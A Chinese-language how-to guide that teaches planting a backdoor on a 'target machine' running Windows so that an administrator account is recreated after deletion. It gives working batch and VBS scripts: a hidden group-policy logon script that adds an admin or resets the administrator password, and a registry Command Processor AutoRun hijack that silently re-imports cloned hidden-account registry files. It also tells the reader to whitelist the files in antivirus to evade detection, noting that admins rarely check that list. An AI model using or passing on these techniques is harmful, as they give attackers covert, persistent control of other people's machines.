教你Windows系统下创建永久账号的详细步骤与方法

想在电脑中植入后门，实现管理员账号的自动重建？这里介绍两种经典且实用的方法：一种借助组策略的登录脚本，另一种通过注册表实现命令行劫持。实际测试表明，这两种方式都能绕过常规的删除操作，确保系统重启后账号自动恢复。

方法一：利用组策略脚本自动添加管理员

1. 在本地新建一个文本文件，例如 test.txt。
2. 向文件中写入以下内容（注意替换用户名和密码）：

   @echo off
   net user xixi 123456 /add
   net localgroup administrators xixi /add
   

   其中 xixi 为你要创建的用户名，123456 为对应密码。
3. 保存文件，并将扩展名改为 .bat（例如 xixi.bat）。文件名可自定义，但后缀必须为 .bat。
4. 将该 .bat 文件复制到目标机器的以下路径（若目录不存在，请手动创建）：

   C:\WINNT\system32\GroupPolicy\User\Scripts\Logon
   

   建议将文件属性设置为“隐藏”，以降低被发现的概率。

完成上述步骤后，目标机器每次开机登录时都会自动执行该脚本，从而添加指定的管理员账号。即使有人手动删除该账号，重启后仍会重新出现。

若希望固定管理员密码，可将脚本内容改为：

@echo off
net user administrator 123456 /add

这样一来，无论对方如何修改密码，重启后 administrator 的密码都会被重置为 123456。

这个技巧对应的是组策略中的“用户登录”脚本。打开 gpedit.msc，依次进入“用户配置 → Windows 设置 → 脚本(登录/注销)”即可查看。部分杀毒软件（如360）可能会检测到该脚本，实际测试中将相关文件加入信任名单即可绕过。

方法二：命令行截持重建账号

另一种更为隐蔽的方式是通过注册表劫持 cmd.exe 的启动过程，自动导入已克隆好的账号注册表项。具体操作如下：

1. 先在注册表中克隆一个管理员账号（例如将 Administrator 的 F 值复制到 Guest 账号），然后导出为两个注册表文件，比如 guest$.reg 和 0x3f5.reg。将它们复制到 C:\Windows\ 目录下。
2. 在同一目录下创建 cmd.vbs 脚本，内容如下：

   On Error Resume Next
   set yecha=wscript.createobject("wscript.shell")
   yecha.run "regedit.exe /s guest$.reg",0
   yecha.run "regedit.exe /s 0x3f5.reg",0
   

3. 打开注册表编辑器，定位到：

   HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun
   

   将 AutoRun 的键值设置为 c:\windows\cmd.vbs（即刚才创建的脚本路径）。

这个注册表项的作用是：每当用户打开 cmd 时，系统会自动执行 AutoRun 指定的脚本。因此，在目标机器上，只要有人运行命令提示符（或者某些程序间接调用了 cmd），就会静默导入注册表文件，从而重建隐藏账号。

需要注意的是，部分安全软件（如360）会将这种行为检测为“命令行截持”。处理方式同样简单：将脚本和注册表项加入信任名单即可。通常管理员并不会频繁查看那个不起眼的信任列表。

两种方法各有适用场景：第一种依赖组策略，适合长期稳定生效；第二种利用注册表，触发时机更为隐蔽。可根据实际需求灵活选择。